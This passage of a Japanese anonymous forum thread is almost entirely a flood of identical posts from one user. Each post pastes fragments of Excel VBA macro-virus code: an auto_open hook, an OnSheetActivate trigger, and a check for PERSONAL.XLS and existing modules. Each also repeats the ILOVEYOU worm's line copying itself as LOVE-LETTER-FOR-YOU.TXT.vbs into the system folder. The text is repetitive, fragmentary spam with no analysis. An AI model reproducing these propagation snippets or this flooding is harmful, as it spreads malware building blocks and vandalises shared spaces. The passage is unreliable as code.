c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

423 番組の途中ですが名無しです :2012/01/31(火) 18:16:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

424 番組の途中ですが名無しです :2012/01/31(火) 18:16:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

425 番組の途中ですが名無しです :2012/01/31(火) 18:17:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

426 番組の途中ですが名無しです :2012/01/31(火) 18:18:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

427 番組の途中ですが名無しです :2012/01/31(火) 18:18:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

428 番組の途中ですが名無しです :2012/01/31(火) 18:19:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

429 番組の途中ですが名無しです :2012/01/31(火) 18:19:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

430 番組の途中ですが名無しです :2012/01/31(火) 18:20:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

431 番組の途中ですが名無しです :2012/01/31(火) 18:21:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

432 番組の途中ですが名無しです :2012/01/31(火) 18:21:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

433 番組の途中ですが名無しです :2012/01/31(火) 18:22:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

434 番組の途中ですが名無しです :2012/01/31(火) 18:22:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

435 番組の途中ですが名無しです :2012/01/31(火) 18:23:04 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

436 番組の途中ですが名無しです :2012/01/31(火) 18:23:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

437 番組の途中ですが名無しです :2012/01/31(火) 18:24:06 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

438 番組の途中ですが名無しです :2012/01/31(火) 18:24:39 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

439 番組の途中ですが名無しです :2012/01/31(火) 18:25:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

440 番組の途中ですが名無しです :2012/01/31(火) 18:25:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

441 番組の途中ですが名無しです :2012/01/31(火) 18:26:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

442 番組の途中ですが名無しです :2012/01/31(火) 18:26:43 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

443 番組の途中ですが名無しです :2012/01/31(火) 18:27:14 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

444 番組の途中ですが名無しです :2012/01/31(火) 18:27:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

445 番組の途中ですが名無しです :2012/01/31(火) 18:28:17 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

446 番組の途中ですが名無しです :2012/01/31(火) 18:28:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

447 番組の途中ですが名無しです :2012/01/31(火) 18:29:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

448 番組の途中ですが名無しです :2012/01/31(火) 18:29:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

449 番組の途中ですが名無しです :2012/01/31(火) 18:30:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

450 番組の途中ですが名無しです :2012/01/31(火) 18:30:53 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

451 番組の途中ですが名無しです :2012/01/31(火) 18:31:24 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

452 番組の途中ですが名無しです :2012/01/31(火) 18:31:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

453 番組の途中ですが名無しです :2012/01/31(火) 18:32:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

454 番組の途中ですが名無しです :2012/01/31(火) 18:32:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

455 番組の途中ですが名無しです :2012/01/31(火) 18:33:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

456 番組の途中ですが名無しです :2012/01/31(火) 18:34:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

457 番組の途中ですが名無しです :2012/01/31(火) 18:34:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

458 番組の途中ですが名無しです :2012/01/31(火) 18:35:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

459 番組の途中ですが名無しです :2012/01/31(火) 18:35:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

460 番組の途中ですが名無しです :2012/01/31(火) 18:36:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

461 番組の途中ですが名無しです :2012/01/31(火) 18:36:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

462 番組の途中ですが名無しです :2012/01/31(火) 18:36:40 ID:aFB1gfk6
ゆのみがスーパーハカーでもやとったのか?w

463 番組の途中ですが名無しです :2012/01/31(火) 18:37:09 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

464 番組の途中ですが名無しです :2012/01/31(火) 18:37:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

465 番組の途中ですが名無しです :2012/01/31(火) 18:38:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

466 番組の途中ですが名無しです :2012/01/31(火) 18:38:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

467 番組の途中ですが名無しです :2012/01/31(火) 18:39:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

468 番組の途中ですが名無しです :2012/01/31(火) 18:39:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

469 番組の途中ですが名無しです :2012/01/31(火) 18:40:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

470 番組の途中ですが名無しです :2012/01/31(火) 18:40:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

471 番組の途中ですが名無しです :2012/01/31(火) 18:41:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

472 番組の途中ですが名無しです :2012/01/31(火) 18:41:52 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

473 番組の途中ですが名無しです :2012/01/31(火) 18:42:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

474 番組の途中ですが名無しです :2012/01/31(火) 18:42:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

475 番組の途中ですが名無しです :2012/01/31(火) 18:43:26 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

476 番組の途中ですが名無しです :2012/01/31(火) 18:43:57 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

477 番組の途中ですが名無しです :2012/01/31(火) 18:44:28 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

478 番組の途中ですが名無しです :2012/01/31(火) 18:44:59 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

479 番組の途中ですが名無しです :2012/01/31(火) 18:45:30 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

480 番組の途中ですが名無しです :2012/01/31(火) 18:46:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

481 番組の途中ですが名無しです :2012/01/31(火) 18:46:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

482 番組の途中ですが名無しです :2012/01/31(火) 18:47:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

483 番組の途中ですが名無しです :2012/01/31(火) 18:47:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

